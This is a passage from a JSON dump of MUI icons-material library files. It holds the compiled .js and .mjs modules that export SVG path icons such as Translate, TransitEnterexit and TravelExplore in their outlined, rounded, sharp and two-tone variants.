    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 8c1.93 0 3.5 1.57 3.5 3.5S13.93 15 12 15s-3.5-1.57-3.5-3.5S10.07 8 12 8m4.53.38 3.97-3.96V7h2V1h-6v2h2.58l-3.97 3.97C14.23 6.36 13.16 6 12 6s-2.23.36-3.11.97l-.65-.65 1.41-1.41-1.41-1.42L6.82 4.9 4.92 3H7.5V1h-6v6h2V4.42l1.91 1.9-1.42 1.42L5.4 9.15l1.41-1.41.65.65c-.6.88-.96 1.95-.96 3.11 0 2.7 1.94 4.94 4.5 5.41V19H9v2h2v2h2v-2h2v-2h-2v-2.09c2.56-.47 4.5-2.71 4.5-5.41 0-1.16-.36-2.23-.97-3.12\"\n}), 'TransgenderTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TransitEnterexit.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 18H6V8h3v4.77L15.98 6 18 8.03 11.15 15H16z\"\n}), 'TransitEnterexit');"
  },
  {
    "path": "packages/mui-icons-material/lib/TransitEnterexit.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 18H6V8h3v4.77L15.98 6 18 8.03 11.15 15H16z\"\n}), 'TransitEnterexit');"
  },
  {
    "path": "packages/mui-icons-material/lib/TransitEnterexitOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 18H6V8h3v4.77L15.98 6 18 8.03 11.15 15H16z\"\n}), 'TransitEnterexitOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TransitEnterexitOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 18H6V8h3v4.77L15.98 6 18 8.03 11.15 15H16z\"\n}), 'TransitEnterexitOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TransitEnterexitRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.5 18H8c-1.1 0-2-.9-2-2V9.5C6 8.67 6.67 8 7.5 8S9 8.67 9 9.5v3.27L14.95 7c.57-.55 1.48-.54 2.04.02s.56 1.47.01 2.04L11.15 15h3.35c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5\"\n}), 'TransitEnterexitRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TransitEnterexitRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.5 18H8c-1.1 0-2-.9-2-2V9.5C6 8.67 6.67 8 7.5 8S9 8.67 9 9.5v3.27L14.95 7c.57-.55 1.48-.54 2.04.02s.56 1.47.01 2.04L11.15 15h3.35c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5\"\n}), 'TransitEnterexitRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TransitEnterexitSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 18H6V8h3v4.77L15.98 6 18 8.03 11.15 15H16z\"\n}), 'TransitEnterexitSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TransitEnterexitSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 18H6V8h3v4.77L15.98 6 18 8.03 11.15 15H16z\"\n}), 'TransitEnterexitSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TransitEnterexitTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.98 6 9 12.77V8H6v10h10v-3h-4.85L18 8.03z\"\n}), 'TransitEnterexitTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TransitEnterexitTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.98 6 9 12.77V8H6v10h10v-3h-4.85L18 8.03z\"\n}), 'TransitEnterexitTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Translate.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12.87 15.07-2.54-2.51.03-.03c1.74-1.94 2.98-4.17 3.71-6.53H17V4h-7V2H8v2H1v1.99h11.17C11.5 7.92 10.44 9.75 9 11.35 8.07 10.32 7.3 9.19 6.69 8h-2c.73 1.63 1.73 3.17 2.98 4.56l-5.09 5.02L4 19l5-5 3.11 3.11zM18.5 10h-2L12 22h2l1.12-3h4.75L21 22h2zm-2.62 7 1.62-4.33L19.12 17z\"\n}), 'Translate');"
  },
  {
    "path": "packages/mui-icons-material/lib/Translate.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m12.87 15.07-2.54-2.51.03-.03c1.74-1.94 2.98-4.17 3.71-6.53H17V4h-7V2H8v2H1v1.99h11.17C11.5 7.92 10.44 9.75 9 11.35 8.07 10.32 7.3 9.19 6.69 8h-2c.73 1.63 1.73 3.17 2.98 4.56l-5.09 5.02L4 19l5-5 3.11 3.11zM18.5 10h-2L12 22h2l1.12-3h4.75L21 22h2zm-2.62 7 1.62-4.33L19.12 17z\"\n}), 'Translate');"
  },
  {
    "path": "packages/mui-icons-material/lib/TranslateOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12.87 15.07-2.54-2.51.03-.03c1.74-1.94 2.98-4.17 3.71-6.53H17V4h-7V2H8v2H1v1.99h11.17C11.5 7.92 10.44 9.75 9 11.35 8.07 10.32 7.3 9.19 6.69 8h-2c.73 1.63 1.73 3.17 2.98 4.56l-5.09 5.02L4 19l5-5 3.11 3.11zM18.5 10h-2L12 22h2l1.12-3h4.75L21 22h2zm-2.62 7 1.62-4.33L19.12 17z\"\n}), 'TranslateOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TranslateOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m12.87 15.07-2.54-2.51.03-.03c1.74-1.94 2.98-4.17 3.71-6.53H17V4h-7V2H8v2H1v1.99h11.17C11.5 7.92 10.44 9.75 9 11.35 8.07 10.32 7.3 9.19 6.69 8h-2c.73 1.63 1.73 3.17 2.98 4.56l-5.09 5.02L4 19l5-5 3.11 3.11zM18.5 10h-2L12 22h2l1.12-3h4.75L21 22h2zm-2.62 7 1.62-4.33L19.12 17z\"\n}), 'TranslateOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TranslateRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.65 15.67c.14-.36.05-.77-.23-1.05l-2.09-2.06.03-.03c1.74-1.94 2.98-4.17 3.71-6.53h1.94c.54 0 .99-.45.99-.99v-.02c0-.54-.45-.99-.99-.99H10V3c0-.55-.45-1-1-1s-1 .45-1 1v1H1.99c-.54 0-.99.45-.99.99 0 .55.45.99.99.99h10.18C11.5 7.92 10.44 9.75 9 11.35c-.81-.89-1.49-1.86-2.06-2.88-.16-.29-.45-.47-.78-.47-.69 0-1.13.75-.79 1.35.63 1.13 1.4 2.21 2.3 3.21L3.3 16.87c-.4.39-.4 1.03 0 1.42.39.39 1.02.39 1.42 0L9 14l2.02 2.02c.51.51 1.38.32 1.63-.35M17.5 10c-.6 0-1.14.37-1.35.94l-3.67 9.8c-.24.61.22 1.26.87 1.26.39 0 .74-.24.88-.61l.89-2.39h4.75l.9 2.39c.14.36.49.61.88.61.65 0 1.11-.65.88-1.26l-3.67-9.8c-.22-.57-.76-.94-1.36-.94m-1.62 7 1.62-4.33L19.12 17z\"\n}), 'TranslateRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TranslateRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.65 15.67c.14-.36.05-.77-.23-1.05l-2.09-2.06.03-.03c1.74-1.94 2.98-4.17 3.71-6.53h1.94c.54 0 .99-.45.99-.99v-.02c0-.54-.45-.99-.99-.99H10V3c0-.55-.45-1-1-1s-1 .45-1 1v1H1.99c-.54 0-.99.45-.99.99 0 .55.45.99.99.99h10.18C11.5 7.92 10.44 9.75 9 11.35c-.81-.89-1.49-1.86-2.06-2.88-.16-.29-.45-.47-.78-.47-.69 0-1.13.75-.79 1.35.63 1.13 1.4 2.21 2.3 3.21L3.3 16.87c-.4.39-.4 1.03 0 1.42.39.39 1.02.39 1.42 0L9 14l2.02 2.02c.51.51 1.38.32 1.63-.35M17.5 10c-.6 0-1.14.37-1.35.94l-3.67 9.8c-.24.61.22 1.26.87 1.26.39 0 .74-.24.88-.61l.89-2.39h4.75l.9 2.39c.14.36.49.61.88.61.65 0 1.11-.65.88-1.26l-3.67-9.8c-.22-.57-.76-.94-1.36-.94m-1.62 7 1.62-4.33L19.12 17z\"\n}), 'TranslateRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TranslateSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12.87 15.07-2.54-2.51.03-.03c1.74-1.94 2.98-4.17 3.71-6.53H17V4h-7V2H8v2H1v1.99h11.17C11.5 7.92 10.44 9.75 9 11.35 8.07 10.32 7.3 9.19 6.69 8h-2c.73 1.63 1.73 3.17 2.98 4.56l-5.09 5.02L4 19l5-5 3.11 3.11zM18.5 10h-2L12 22h2l1.12-3h4.75L21 22h2zm-2.62 7 1.62-4.33L19.12 17z\"\n}), 'TranslateSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TranslateSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m12.87 15.07-2.54-2.51.03-.03c1.74-1.94 2.98-4.17 3.71-6.53H17V4h-7V2H8v2H1v1.99h11.17C11.5 7.92 10.44 9.75 9 11.35 8.07 10.32 7.3 9.19 6.69 8h-2c.73 1.63 1.73 3.17 2.98 4.56l-5.09 5.02L4 19l5-5 3.11 3.11zM18.5 10h-2L12 22h2l1.12-3h4.75L21 22h2zm-2.62 7 1.62-4.33L19.12 17z\"\n}), 'TranslateSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TranslateTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12.87 15.07-2.54-2.51.03-.03c1.74-1.94 2.98-4.17 3.71-6.53H17V4h-7V2H8v2H1v1.99h11.17C11.5 7.92 10.44 9.75 9 11.35 8.07 10.32 7.3 9.19 6.69 8h-2c.73 1.63 1.73 3.17 2.98 4.56l-5.09 5.02L4 19l5-5 3.11 3.11zM18.5 10h-2L12 22h2l1.12-3h4.75L21 22h2zm-2.62 7 1.62-4.33L19.12 17z\"\n}), 'TranslateTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TranslateTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m12.87 15.07-2.54-2.51.03-.03c1.74-1.94 2.98-4.17 3.71-6.53H17V4h-7V2H8v2H1v1.99h11.17C11.5 7.92 10.44 9.75 9 11.35 8.07 10.32 7.3 9.19 6.69 8h-2c.73 1.63 1.73 3.17 2.98 4.56l-5.09 5.02L4 19l5-5 3.11 3.11zM18.5 10h-2L12 22h2l1.12-3h4.75L21 22h2zm-2.62 7 1.62-4.33L19.12 17z\"\n}), 'TranslateTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TravelExplore.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.3 16.9c.4-.7.7-1.5.7-2.4 0-2.5-2-4.5-4.5-4.5S11 12 11 14.5s2 4.5 4.5 4.5c.9 0 1.7-.3 2.4-.7l3.2 3.2 1.4-1.4zm-3.8.1c-1.4 0-2.5-1.1-2.5-2.5s1.1-2.5 2.5-2.5 2.5 1.1 2.5 2.5-1.1 2.5-2.5 2.5M12 20v2C6.48 22 2 17.52 2 12S6.48 2 12 2c4.84 0 8.87 3.44 9.8 8h-2.07c-.64-2.46-2.4-4.47-4.73-5.41V5c0 1.1-.9 2-2 2h-2v2c0 .55-.45 1-1 1H8v2h2v3H9l-4.79-4.79C4.08 10.79 4 11.38 4 12c0 4.41 3.59 8 8 8\"\n}), 'TravelExplore');"
  },
  {
    "path": "packages/mui-icons-material/lib/TravelExplore.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.3 16.9c.4-.7.7-1.5.7-2.4 0-2.5-2-4.5-4.5-4.5S11 12 11 14.5s2 4.5 4.5 4.5c.9 0 1.7-.3 2.4-.7l3.2 3.2 1.4-1.4zm-3.8.1c-1.4 0-2.5-1.1-2.5-2.5s1.1-2.5 2.5-2.5 2.5 1.1 2.5 2.5-1.1 2.5-2.5 2.5M12 20v2C6.48 22 2 17.52 2 12S6.48 2 12 2c4.84 0 8.87 3.44 9.8 8h-2.07c-.64-2.46-2.4-4.47-4.73-5.41V5c0 1.1-.9 2-2 2h-2v2c0 .55-.45 1-1 1H8v2h2v3H9l-4.79-4.79C4.08 10.79 4 11.38 4 12c0 4.41 3.59 8 8 8\"\n}), 'TravelExplore');"
  },
  {
    "path": "packages/mui-icons-material/lib/TravelExploreOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.3 16.9c.4-.7.7-1.5.7-2.4 0-2.5-2-4.5-4.5-4.5S11 12 11 14.5s2 4.5 4.5 4.5c.9 0 1.7-.3 2.4-.7l3.2 3.2 1.4-1.4zm-3.8.1c-1.4 0-2.5-1.1-2.5-2.5s1.1-2.5 2.5-2.5 2.5 1.1 2.5 2.5-1.1 2.5-2.5 2.5M12 20v2C6.48 22 2 17.52 2 12S6.48 2 12 2c4.84 0 8.87 3.44 9.8 8h-2.07c-.64-2.46-2.4-4.47-4.73-5.41V5c0 1.1-.9 2-2 2h-2v2c0 .55-.45 1-1 1H8v2h2v3H9l-4.79-4.79C4.08 10.79 4 11.38 4 12c0 4.41 3.59 8 8 8\"\n}), 'TravelExploreOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TravelExploreOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.3 16.9c.4-.7.7-1.5.7-2.4 0-2.5-2-4.5-4.5-4.5S11 12 11 14.5s2 4.5 4.5 4.5c.9 0 1.7-.3 2.4-.7l3.2 3.2 1.4-1.4zm-3.8.1c-1.4 0-2.5-1.1-2.5-2.5s1.1-2.5 2.5-2.5 2.5 1.1 2.5 2.5-1.1 2.5-2.5 2.5M12 20v2C6.48 22 2 17.52 2 12S6.48 2 12 2c4.84 0 8.87 3.44 9.8 8h-2.07c-.64-2.46-2.4-4.47-4.73-5.41V5c0 1.1-.9 2-2 2h-2v2c0 .55-.45 1-1 1H8v2h2v3H9l-4.79-4.79C4.08 10.79 4 11.38 4 12c0 4.41 3.59 8 8 8\"\n}), 'TravelExploreOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TravelExploreRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.3 16.9c.58-1.01.95-2.23.51-3.65-.53-1.72-2.04-3.05-3.84-3.22-2.87-.28-5.23 2.07-4.95 4.95.18 1.79 1.5 3.31 3.22 3.84 1.43.44 2.64.07 3.65-.51l2.5 2.5c.39.39 1.01.39 1.4 0s.39-1.01 0-1.4zm-3.8.1c-1.4 0-2.5-1.1-2.5-2.5s1.1-2.5 2.5-2.5 2.5 1.1 2.5 2.5-1.1 2.5-2.5 2.5M12 20v2C6.48 22 2 17.52 2 12S6.48 2 12 2c4.84 0 8.87 3.44 9.8 8h-2.07c-.64-2.46-2.4-4.47-4.73-5.41V5c0 1.1-.9 2-2 2h-2v2c0 .55-.45 1-1 1H8v2h2v3H9l-4.79-4.79C4.08 10.79 4 11.38 4 12c0 4.41 3.59 8 8 8\"\n}), 'TravelExploreRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TravelExploreRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.3 16.9c.58-1.01.95-2.23.51-3.65-.53-1.72-2.04-3.05-3.84-3.22-2.87-.28-5.23 2.07-4.95 4.95.18 1.79 1.5 3.31 3.22 3.84 1.43.44 2.64.07 3.65-.51l2.5 2.5c.39.39 1.01.39 1.4 0s.39-1.01 0-1.4zm-3.8.1c-1.4 0-2.5-1.1-2.5-2.5s1.1-2.5 2.5-2.5 2.5 1.1 2.5 2.5-1.1 2.5-2.5 2.5M12 20v2C6.48 22 2 17.52 2 12S6.48 2 12 2c4.84 0 8.87 3.44 9.8 8h-2.07c-.64-2.46-2.4-4.47-4.73-5.41V5c0 1.1-.9 2-2 2h-2v2c0 .55-.45 1-1 1H8v2h2v3H9l-4.79-4.79C4.08 10.79 4 11.38 4 12c0 4.41 3.59 8 8 8\"\n}), 'TravelExploreRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TravelExploreSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.3 16.9c.4-.7.7-1.5.7-2.4 0-2.5-2-4.5-4.5-4.5S11 12 11 14.5s2 4.5 4.5 4.5c.9 0 1.7-.3 2.4-.7l3.2 3.2 1.4-1.4zm-3.8.1c-1.4 0-2.5-1.1-2.5-2.5s1.1-2.5 2.5-2.5 2.5 1.1 2.5 2.5-1.1 2.5-2.5 2.5M12 20v2C6.48 22 2 17.52 2 12S6.48 2 12 2c4.84 0 8.87 3.44 9.8 8h-2.07c-.64-2.46-2.4-4.47-4.73-5.41V5c0 1.1-.9 2-2 2h-2v2c0 .55-.45 1-1 1H8v2h2v3H9l-4.79-4.79C4.08 10.79 4 11.38 4 12c0 4.41 3.59 8 8 8\"\n}), 'TravelExploreSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TravelExploreSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.3 16.9c.4-.7.7-1.5.7-2.4 0-2.5-2-4.5-4.5-4.5S11 12 11 14.5s2 4.5 4.5 4.5c.9 0 1.7-.3 2.4-.7l3.2 3.2 1.4-1.4zm-3.8.1c-1.4 0-2.5-1.1-2.5-2.5s1.1-2.5 2.5-2.5 2.5 1.1 2.5 2.5-1.1 2.5-2.5 2.5M12 20v2C6.48 22 2 17.52 2 12S6.48 2 12 2c4.84 0 8.87 3.44 9.8 8h-2.07c-.64-2.46-2.4-4.47-4.73-5.41V5c0 1.1-.9 2-2 2h-2v2c0 .55-.45 1-1 1H8v2h2v3H9l-4.79-4.79C4.08 10.79 4 11.38 4 12c0 4.41 3.59 8 8 8\"\n}), 'TravelExploreSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TravelExploreTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.3 16.9c.4-.7.7-1.5.7-2.4 0-2.5-2-4.5-4.5-4.5S11 12 11 14.5s2 4.5 4.5 4.5c.9 0 1.7-.3 2.4-.7l3.2 3.2 1.4-1.4zm-3.8.1c-1.4 0-2.5-1.1-2.5-2.5s1.1-2.5 2.5-2.5 2.5 1.1 2.5 2.5-1.1 2.5-2.5 2.5M12 20v2C6.48 22 2 17.52 2 12S6.48 2 12 2c4.84 0 8.87 3.44 9.8 8h-2.07c-.64-2.46-2.4-4.47-4.73-5.41V5c0 1.1-.9 2-2 2h-2v2c0 .55-.45 1-1 1H8v2h2v3H9l-4.79-4.79C4.08 10.79 4 11.38 4 12c0 4.41 3.59 8 8 8\"\n}), 'TravelExploreTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TravelExploreTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.3 16.9c.4-.7.7-1.5.7-2.4 0-2.5-2-4.5-4.5-4.5S11 12 11 14.5s2 4.5 4.5 4.5c.9 0 1.7-.3 2.4-.7l3.2 3.2 1.4-1.4zm-3.8.1c-1.4 0-2.5-1.1-2.5-2.5s1.1-2.5 2.5-2.5 2.5 1.1 2.5 2.5-1.1 2.5-2.5 2.5M12 20v2C6.48 22 2 17.52 2 12S6.48 2 12 2c4.84 0 8.87 3.44 9.8 8h-2.07c-.64-2.46-2.4-4.47-4.73-5.41V5c0 1.1-.9 2-2 2h-2v2c0 .55-.45 1-1 1H8v2h2v3H9l-4.79-4.79C4.08 10.79 4 11.38 4 12c0 4.41 3.59 8 8 8\"\n}), 'TravelExploreTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TrendingDown.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m16 18 2.29-2.29-4.88-4.88-4 4L2 7.41 3.41 6l6 6 4-4 6.3 6.29L22 12v6z\"\n}), 'TrendingDown');"
  },
  {
    "path": "packages/mui-icons-material/lib/TrendingDown.mjs",
